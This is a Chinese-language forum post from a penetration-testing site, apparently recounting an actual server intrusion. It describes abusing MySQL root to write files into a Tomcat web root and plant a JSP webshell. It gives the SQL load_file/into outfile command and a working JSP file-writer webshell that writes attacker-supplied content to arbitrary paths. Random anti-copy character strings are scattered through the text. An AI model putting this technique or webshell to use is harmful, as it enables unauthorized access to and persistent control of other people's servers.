中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
/ R0 w/ L9 ?  B! Q" ^
; }4 F8 y1 f! ]  x' v# A# v( _* [首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php6 b7 p. R4 @3 G1 F* J0 v
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
7 N2 |% X2 f8 h3 ~5 G提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了" z1 N2 E3 k1 H: o4 V) ^
1 show variables like '%plugin%';
: W- j! {9 t8 d: d5 W后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
0 b8 c0 o! P4 i) K8 B2 R& g' R' `: d创建自定义函数似乎被拦截,一直失败。- E1 Q+ ]2 D- `4 w3 G9 e
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
) S0 V. q2 e. Q测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp) y9 S; h" `- r* D- \' i
用mysql执行语句:% O) r. `) B$ ^' g7 R2 n
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
" g* J3 ~. X* a: Z+ |) g2 复制代码
( u! A+ @; i) m后成功。9 F  r& v% e6 s3 F4 A6 k5 z
但是访问后得到如下提示:; s. |& h$ X# |  C# b" Z. p, ^
​500页面
, L; f. u- a) _( E7 l( v7 A) [: q) G3 _' w, K) F- s& K
6 L4 X& u" b" I- X" c" N9 U
明显是MySQL的Win下版本自动添加转义符\n\r了
; P" Z" S. g8 t5 {. l这样导致程序运行的悲剧。
5 ?3 r+ A: E' B从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。- G) C. ^- }6 j, c4 |: U
最后弄了这么个小脚本:
& S1 d. X& }0 N+ T, {01 <%@ page language="java" pageEncoding="gbk"%>$ M; C# r& ^- R9 r
02 <jsp:directive.page import="java.io.File"/>8 K: }( r7 i3 u& I1 m
03 <jsp:directive.page import="java.io.OutputStream"/>
$ O' d9 L* W- ?' ^6 x04 <jsp:directive.page import="java.io.FileOutputStream"/>
, T7 v) h! o( j05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>; e7 O! ~, S" O3 ~2 ~- |$ Z
06 error www.2cto.com
: Z( d9 d* ]0 b* P& W07 <%}}if(i==0){%>
; R7 @9 d9 h( Y" y$ C: s9 u% l1 d08 ok' H3 F" g( q6 [' \  a2 _
09 <%}%>
' e' P: L" w0 p, f10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
3 _$ x) N) t/ x. A! I; Q就可以避免转义符让JSP的马儿运行500错误了。! B9 T$ ?, E; D: [4 X





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2